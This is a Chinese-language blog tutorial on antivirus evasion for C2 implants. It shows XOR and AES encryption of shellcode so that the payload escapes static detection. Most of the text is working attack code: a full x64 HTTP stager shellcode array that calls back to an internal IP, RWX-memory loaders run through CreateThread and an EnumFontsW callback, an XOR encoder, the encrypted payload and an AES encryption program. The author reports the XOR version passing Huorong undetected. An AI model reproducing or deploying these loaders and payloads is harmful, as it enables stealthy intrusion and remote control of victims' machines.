【免杀】C2免杀技术(三)shellcode加密

admin 2025年5月19日16:12:53评论6 views字数 24107阅读80分21秒阅读模式

前言

shellcode加密是shellcode混淆的一种手段。shellcode混淆手段有多种:加密(编码)、偏移量混淆、UUID混淆、IPv4混淆、MAC混淆等。

随着杀毒软件的不断进化,其检测方式早已超越传统的静态特征分析。现代杀软往往会在受控的虚拟环境中执行可疑文件,并通过挂钩(hook)方式拦截并跟踪 API 调用,以此判断程序行为是否合法。更先进的产品(例如卡巴斯基)甚至具备内存扫描能力,这使得 shellcode 在内存中一旦被解密后就可能立即暴露,显著增加了免杀的复杂度。

在这种背景下,单纯依靠 shellcode 混淆已难以完全绕过所有检测机制。然而,这并不意味着混淆技术已经失效。相反,在整个免杀流程中,静态免杀始终是第一道门槛。只有先规避静态检测,后续的沙箱对抗、动态行为规避、内存防护等策略才有实施的空间。因此,shellcode 的混淆技术在静态免杀中仍然占据极其重要的地位,是免杀体系中不可或缺的一环。

在掌握了混淆技术后,再进一步结合动态免杀手段,才能更高效地规避当前主流杀软的综合防御体系,从而提升整体的免杀成功率。

shellcode加密类型

Shellcode 加密是指将原始的 shellcode 使用某种加密算法(如 XOR、AES、RC4 等)处理,使其内容看起来不像恶意代码,隐藏真实指令内容,是为了对抗杀软检测,尤其是静态查杀、行为分析、特征提取等机制。 

下面是一些高效实用的加密类型(按免杀实战效果排序):

加密类型
实用性
应用场景
特点说明
XOR(变种)
5
Shellcode、字符串加密
简单快速,易变种,适合动态解密
AES(ECB/CBC)
4
Beacon配置、Payload保护
安全性高,但需要合理解密方式隐藏行为
RC4/RC4Drop
3
内存数据、模块通信
加密速度快,行为轻量,适合网络数据隐藏
Base64/Base32
1
仅限掩盖敏感字段
非加密,只是编码,极易被识别
Custom算法(自定义加密)
5
内嵌Payload、解密Stub
杀软无签名,抗分析性强
Curve25519 + ChaCha20
3
高级C2通信(如Sliver)
通信层加密,偏向安全防窃听
Shikata Ga Nai / polymorphic encoder
3⭐
Shellcode编码
可变性强,但被大量签名收录,需变种

实现过程

1、生成shellcode

2、把shellcode加密

3、构造shellcode加载器:把刚才加密后的shellcode解密并加载执行

4、编译exe

XOR异或加密

1、首先写一个以创建线程的方式加载shellcode的加载器

#include<windows.h>intmain(){    // Shellcode 以 unsigned char 数组形式存储    unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x5dx11x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx64x33x64x62x00xf5x94xfaxd2xeex16xe8xb9xf9x8fx0fx9fxc3xe9x41x35xe7x40xc2x70xc2x50x6fxeexc6x0axf5xb7x6fx6cx82xd1x2dx49x14x72xb9x8bxf7xa7xc5x43x17x2dx96x3cx97x61x77x35xd4xadx07xc1x1bxaex6ex7bx04x8fx16x7cx45x75x41xafx52x36x8bx30x64xefx12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x29x20x4cx42x42x52x4fx57x53x45x52x0dx0ax00xd8x1dx49xcdx7cx67xd4x35x0axcdx0bx6fx43xb8x2dx58x61xd6x49x96xe8x8axc9x00xd6x78xbdxcex7exe8xe6xd3x0cx4fxe3x8axccx11x7bx4ex34xfdx8dxa4xf0xdex80x20x4ax98x17x3axd2xa4x8ax68xcex78xa7xb6xd7x46x52x70x9ex6axf9xcbx62xb9xa7xeaxafxd1xfax0cxb5x89x98x3dx58xe4x0cx7fxa0x0exb9x56x42x5cx82x89xd9x01x94xc2x4cxd9x8bx5bx53x9ex33x42x2fx4ex21xcexb4xa8x0bx14x91x95x65x8ax4bx68xeexe0x90xedxc5xa1x85x04x89x2exc0xa0x14x94xc1x60xb2x3axa3x36x17x6ex0axe8xa5xc8xe2x9cx42xcdx8ax2exf5xf6xbbx68x34x73xf7x9bx69x0cxf5x97xc8x4ax4ax59x44x63x43x2bx91xc9xa0x25x41xa2xdfx26x98xf9x53xbex1cxc8x6dxe8x24x34xd8x9ax72x21xf1x57xe2x81x9dx35x62x0bx91x3fx3dxa5x3ex83xb7x60x9ax20xd9xb7xa4x69x96x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex34x38x2ex31x00x00x0ax2cx2a";    // 分配可执行内存    LPVOID mem = VirtualAlloc(NULLsizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (mem == NULL) {        return 1;    }    // 复制 Shellcode 到分配的内存    memcpy(mem, shellcode, sizeof(shellcode));    // 创建线程执行 Shellcode    HANDLE thread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)mem, NULL0NULL);    if (thread == NULL) {        VirtualFree(mem, 0, MEM_RELEASE);        return 1;    }    // 等待线程执行完成    WaitForSingleObject(thread, INFINITE);    // 清理    CloseHandle(thread);    VirtualFree(mem, 0, MEM_RELEASE);    return 0;}

测试,可以正常上线

【免杀】C2免杀技术(三)shellcode加密

编译出来,火绒直接秒

【免杀】C2免杀技术(三)shellcode加密

2、将shellcode进行XOR异或加密,密钥是字符串“kun”

raw_shellcode = b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x5dx11x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx64x33x64x62x00xf5x94xfaxd2xeex16xe8xb9xf9x8fx0fx9fxc3xe9x41x35xe7x40xc2x70xc2x50x6fxeexc6x0axf5xb7x6fx6cx82xd1x2dx49x14x72xb9x8bxf7xa7xc5x43x17x2dx96x3cx97x61x77x35xd4xadx07xc1x1bxaex6ex7bx04x8fx16x7cx45x75x41xafx52x36x8bx30x64xefx12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x29x20x4cx42x42x52x4fx57x53x45x52x0dx0ax00xd8x1dx49xcdx7cx67xd4x35x0axcdx0bx6fx43xb8x2dx58x61xd6x49x96xe8x8axc9x00xd6x78xbdxcex7exe8xe6xd3x0cx4fxe3x8axccx11x7bx4ex34xfdx8dxa4xf0xdex80x20x4ax98x17x3axd2xa4x8ax68xcex78xa7xb6xd7x46x52x70x9ex6axf9xcbx62xb9xa7xeaxafxd1xfax0cxb5x89x98x3dx58xe4x0cx7fxa0x0exb9x56x42x5cx82x89xd9x01x94xc2x4cxd9x8bx5bx53x9ex33x42x2fx4ex21xcexb4xa8x0bx14x91x95x65x8ax4bx68xeexe0x90xedxc5xa1x85x04x89x2exc0xa0x14x94xc1x60xb2x3axa3x36x17x6ex0axe8xa5xc8xe2x9cx42xcdx8ax2exf5xf6xbbx68x34x73xf7x9bx69x0cxf5x97xc8x4ax4ax59x44x63x43x2bx91xc9xa0x25x41xa2xdfx26x98xf9x53xbex1cxc8x6dxe8x24x34xd8x9ax72x21xf1x57xe2x81x9dx35x62x0bx91x3fx3dxa5x3ex83xb7x60x9ax20xd9xb7xa4x69x96x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex34x38x2ex31x00x00x0ax2cx2a"key = b"kun"encoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw_shellcode)])print(", ".join(f"0x{b:02x}" for b in encoded))

加密后的shellcode

【免杀】C2免杀技术(三)shellcode加密

3、改造刚才的加载器,使其在内存中解密并执行shellcode

#include<windows.h>#include<stdio.h>#include<stdlib.h>// 使用字符串 "kun" 作为 XOR keyunsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);// XOR混淆的 shellcode(请用你的真实 shellcode 替换)unsigned char encoded_shellcode[] = { 0x970x3d0xed0x8f0x850x860xa30x750x6e0x6b0x340x3f0x2a0x250x3c0x3a0x230x260x5a0xa70x0b0x230xfe0x3c0x0b0x3d0xe50x390x6d0x260xe00x270x4e0x230xfe0x1c0x3b0x3d0x610xdc0x3f0x240x260x440xa70x230x440xae0xc70x490x0f0x170x770x420x4b0x340xaf0xa20x780x2f0x6a0xb40x8c0x860x270x2f0x3a0x3d0xe50x390x550xe50x290x490x260x6a0xa50x080xea0x0d0x760x600x770x1b0x190xfe0xee0xe30x750x6e0x6b0x3d0xeb0xab0x010x090x230x740xbe0x3b0xfe0x260x730x310xe50x2b0x550x270x6a0xa50x8d0x3d0x3d0x910xa20x340xe50x5f0xfd0x260x6a0xa30x230x5a0xbc0x260x5a0xb50xc20x2a0xb40xa70x660x340x6f0xaa0x4d0x8e0x1e0x840x220x680x390x4a0x630x300x570xba0x000xb60x330x310xe50x2b0x510x270x6a0xa50x080x2a0xfe0x620x230x310xe50x2b0x690x270x6a0xa50x2f0xe00x710xe60x230x740xbe0x2a0x2d0x2f0x330x2b0x370x310x340x360x2a0x2c0x2f0x310x3d0xed0x870x550x2f0x390x8a0x8e0x330x340x370x310x3d0xe50x790x9c0x210x940x8a0x910x360x1f0x6e0x220xcb0x190x020x1b0x070x050x100x1a0x6b0x340x380x220xfc0x880x270xfc0x9f0x2a0xcf0x220x1c0x530x690x940xa00x260x5a0xbc0x260x5a0xa70x230x5a0xb50x230x5a0xbc0x2f0x3b0x340x3e0x2a0xcf0x540x3d0x0c0xc90x940xa00x850x180x2f0x260xe20xb40x2f0xd30x280x7f0x6b0x750x230x5a0xbc0x2f0x3a0x340x3f0x010x760x2f0x3a0x340xd40x3c0xfc0xf10xad0x8a0xbb0x800x2c0x350x230xfc0xaf0x230x440xbc0x220xfc0xb60x260x440xa70x390x1d0x6e0x690x350xea0x390x270x2f0xd10x9e0x3b0x450x4e0x910xbe0x3d0xe70xad0x3d0xed0xa80x250x040x610x2a0x260xe20x840x260xe20xaf0x270xac0xb50x910x940x8a0x910x260x440xa70x390x270x2f0xd10x580x680x730x0e0x910xbe0xf00xae0x640xf00xf30x6a0x750x6e0x230x8a0xa10x640xf10xe20x6a0x750x6e0x800xa60x870x8f0x740x6e0x6b0x9d0xcc0x940x8a0x910x440x110x5d0x0f0x170x6e0x9e0xe10x940xb90x9b0x780x830xcc0x970xe40x7a0xf10xa80x9c0x2f0x5e0x920x2e0xa90x050xac0x3b0x1a0x800xad0x7f0x9b0xdc0x1a0x020xe90xa40x430x220x610x1c0xd20xfe0x990xcc0xb00x2d0x7c0x580xf80x570xe20x0f0x1c0x400xba0xc60x720xaf0x700xdb0x000x100x710xe10x7d0x090x2b0x1e0x340xc10x390x430xe50x5b0x110x810x790x750x3b0x180x100x1c0x460x340x090x0e0x1b0x1a0x510x550x230x040x0f0x070x070x190x0f0x440x400x400x5b0x550x460x080x1a0x030x1b0x140x1a0x020x170x020x0e0x4e0x4e0x260x260x270x2e0x550x570x450x450x550x4b0x220x070x050x110x010x1c0x060x4e0x250x210x4e0x5d0x5b0x5f0x500x550x3a0x190x1c0x0a0x0e0x1b0x1a0x440x400x400x5b0x5c0x4e0x270x370x2c0x390x3a0x390x380x300x3c0x660x7f0x6e0xb30x680x270xa60x090x090xbf0x400x640xa60x7e0x010x280xcd0x430x330x140xb80x220xe30x860xe10xbc0x6e0xbd0x0d0xd30xa50x0b0x860x8d0xa60x620x240x960xe40xa70x640x150x250x410x930xe60xd10x9e0xb50xf50x4e0x210xed0x790x510xa70xca0xe10x1d0xa00x130xd20xd80xbc0x330x3c0x1b0xeb0x040x920xbe0x0c0xd20xd20x840xc40xa40x940x670xc00xe70xf30x480x360x8f0x790x110xcb0x7b0xd70x3d0x370x320xe90xfc0xb70x6a0xe10xac0x270xac0xe50x300x260xf00x580x370x410x250x540xa00xdf0xdd0x650x7f0xe40xfb0x0e0xff0x250x030x9b0x8e0xfb0x980xab0xca0xf00x6a0xe20x5b0xae0xcb0x610xfa0xaa0x150xdc0x510xd60x580x7c0x1b0x640x830xd00xa60x890xe90x2c0xa60xff0x400x9e0x830xd50x030x410x1d0x9c0xee0x070x670x800xf90xa30x3f0x240x320x310x0d0x280x5e0xff0xa20xd50x4b0x2a0xd70xb10x4d0xed0x970x380xcb0x720xa30x180x860x4f0x410xb60xf10x070x4f0x9a0x220x8c0xea0xe80x5b0x090x7e0xff0x540x480xcb0x550xf60xd90x0b0xef0x4e0xb20xc20xca0x020xe30x6e0x2a0xcb0x9e0xde0xd70x380x940xa00x260x5a0xbc0xd40x6b0x750x2e0x6b0x340xd60x6b0x650x6e0x6b0x340xd70x2b0x750x6e0x6b0x340xd40x330xd10x3d0x8e0x8a0xbb0x230xe60x3d0x380x3d0xe70x8c0x3d0xe70x9a0x3d0xe70xb10x340xd60x6b0x550x6e0x6b0x3c0xe70x920x340xd40x790xe30xe70x890x8a0xbb0x230xf60xaa0x4b0xf00xae0x1f0xc30x080xe00x720x260x6a0xb60xeb0xab0x000xb90x330x2d0x360x230x700x6e0x6b0x750x6e0x3b0xb60x860xf40x880x910x940x440x570x590x5b0x5f0x5d0x4d0x400x5f0x4d0x400x5a0x750x6e0x610x590x44};size_t shellcode_len = sizeof(encoded_shellcode);intmain(){    // 申请 RWX 内存    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!exec_mem) {        printf("VirtualAlloc failed.n");        return -1;    }    // 复制加密的 shellcode 到可执行内存    memcpy(exec_mem, encoded_shellcode, shellcode_len);    // 在已加载的内存中解密 shellcode    for (size_t i = 0; i < shellcode_len; ++i) {        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];    }    // 创建线程执行 shellcode    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);    if (!hThread) {        printf("CreateThread failed.n");        VirtualFree(exec_mem, 0, MEM_RELEASE);        return -1;    }    // 等待 shellcode 执行完成    WaitForSingleObject(hThread, INFINITE);    // 清理    VirtualFree(exec_mem, 0, MEM_RELEASE);    return 0;}

注意!在改造加载器时,必须确保硬编码在其中的 shellcode 是以加密形式存储的。否则极易被杀软扫描到明文特征。在正确的加载流程中,shellcode 的解密操作应在其写入内存(通常使用 memcpy 或等效方式)之后进行;若在写入前提前解密,等同于将明文代码暴露在磁盘或可见内存中,这无异于“裸奔”。

运行测试,能上线,说明代码没问题

【免杀】C2免杀技术(三)shellcode加密

打包编译出来,火绒不再查杀,可以正常上线!

【免杀】C2免杀技术(三)shellcode加密

AES加密

1、同样,先写一个加载器,这里使用回调函数执行shellcode

#include<windows.h>#include<iostream>intmain(){    unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x5dx11x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx64x33x64x62x00xf5x94xfaxd2xeex16xe8xb9xf9x8fx0fx9fxc3xe9x41x35xe7x40xc2x70xc2x50x6fxeexc6x0axf5xb7x6fx6cx82xd1x2dx49x14x72xb9x8bxf7xa7xc5x43x17x2dx96x3cx97x61x77x35xd4xadx07xc1x1bxaex6ex7bx04x8fx16x7cx45x75x41xafx52x36x8bx30x64xefx12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x29x20x4cx42x42x52x4fx57x53x45x52x0dx0ax00xd8x1dx49xcdx7cx67xd4x35x0axcdx0bx6fx43xb8x2dx58x61xd6x49x96xe8x8axc9x00xd6x78xbdxcex7exe8xe6xd3x0cx4fxe3x8axccx11x7bx4ex34xfdx8dxa4xf0xdex80x20x4ax98x17x3axd2xa4x8ax68xcex78xa7xb6xd7x46x52x70x9ex6axf9xcbx62xb9xa7xeaxafxd1xfax0cxb5x89x98x3dx58xe4x0cx7fxa0x0exb9x56x42x5cx82x89xd9x01x94xc2x4cxd9x8bx5bx53x9ex33x42x2fx4ex21xcexb4xa8x0bx14x91x95x65x8ax4bx68xeexe0x90xedxc5xa1x85x04x89x2exc0xa0x14x94xc1x60xb2x3axa3x36x17x6ex0axe8xa5xc8xe2x9cx42xcdx8ax2exf5xf6xbbx68x34x73xf7x9bx69x0cxf5x97xc8x4ax4ax59x44x63x43x2bx91xc9xa0x25x41xa2xdfx26x98xf9x53xbex1cxc8x6dxe8x24x34xd8x9ax72x21xf1x57xe2x81x9dx35x62x0bx91x3fx3dxa5x3ex83xb7x60x9ax20xd9xb7xa4x69x96x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex34x38x2ex31x00x00x0ax2cx2a";    int ShellcodeSize = sizeof(shellcode);    // 使用标准 VirtualAlloc 而非 lazy_importer    char* orig_buffer = (char*)VirtualAlloc(nullptr, ShellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    RtlMoveMemory(orig_buffer, shellcode, ShellcodeSize);    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)orig_buffer, NULL);    return 0;}

测试,可以正常上线,说明代码没问题

【免杀】C2免杀技术(三)shellcode加密

打包出来,火绒直接秒

【免杀】C2免杀技术(三)shellcode加密

2、同样,先将shellcode进行aes加密处理,使用下面c++脚本进行处理

#include <iostream>#include "Shellcode加密库.h"using namespace std;intmain() {unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x5dx11x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx64x33x64x62x00xf5x94xfaxd2xeex16xe8xb9xf9x8fx0fx9fxc3xe9x41x35xe7x40xc2x70xc2x50x6fxeexc6x0axf5xb7x6fx6cx82xd1x2dx49x14x72xb9x8bxf7xa7xc5x43x17x2dx96x3cx97x61x77x35xd4xadx07xc1x1bxaex6ex7bx04x8fx16x7cx45x75x41xafx52x36x8bx30x64xefx12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x29x20x4cx42x42x52x4fx57x53x45x52x0dx0ax00xd8x1dx49xcdx7cx67xd4x35x0axcdx0bx6fx43xb8x2dx58x61xd6x49x96xe8x8axc9x00xd6x78xbdxcex7exe8xe6xd3x0cx4fxe3x8axccx11x7bx4ex34xfdx8dxa4xf0xdex80x20x4ax98x17x3axd2xa4x8ax68xcex78xa7xb6xd7x46x52x70x9ex6axf9xcbx62xb9xa7xeaxafxd1xfax0cxb5x89x98x3dx58xe4x0cx7fxa0x0exb9x56x42x5cx82x89xd9x01x94xc2x4cxd9x8bx5bx53x9ex33x42x2fx4ex21xcexb4xa8x0bx14x91x95x65x8ax4bx68xeexe0x90xedxc5xa1x85x04x89x2exc0xa0x14x94xc1x60xb2x3axa3x36x17x6ex0axe8xa5xc8xe2x9cx42xcdx8ax2exf5xf6xbbx68x34x73xf7x9bx69x0cxf5x97xc8x4ax4ax59x44x63x43x2bx91xc9xa0x25x41xa2xdfx26x98xf9x53xbex1cxc8x6dxe8x24x34xd8x9ax72x21xf1x57xe2x81x9dx35x62x0bx91x3fx3dxa5x3ex83xb7x60x9ax20xd9xb7xa4x69x96x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex34x38x2ex31x00x00x0ax2cx2a";//生成随机16位的key值和iv值srand(time(0)); // initialize random seedstring g_key = random_string(16);string g_iv = random_string(16);cout << "key值: " << g_key << endl;cout << "iv值: " << g_iv <<endl;//将shellcode字节数组转换成十六进制字符串size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1;string OriginalShellcode = toHexString(buf, bufLen);cout << "未加密的shellcode: " << OriginalShellcode << endl;//对shellcode字符串进行加密string EncryptShellcode = EncryptionAES(OriginalShellcode,g_key.c_str(),g_iv.c_str());cout << "加密后的shellcode: " << EncryptShellcode << endl;//对加密后的shellcode字符串进行解密string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str());cout << "解密后的shellcode: " << DecryptShellcode << endl;return 0;}
我这里使用了网上的加密库
https://github.com/xf555er/ShellcodeEncryption

记录加密结果

【免杀】C2免杀技术(三)shellcode加密

3、改造刚才的“回调函数”加载器,加入解密代码进行改造

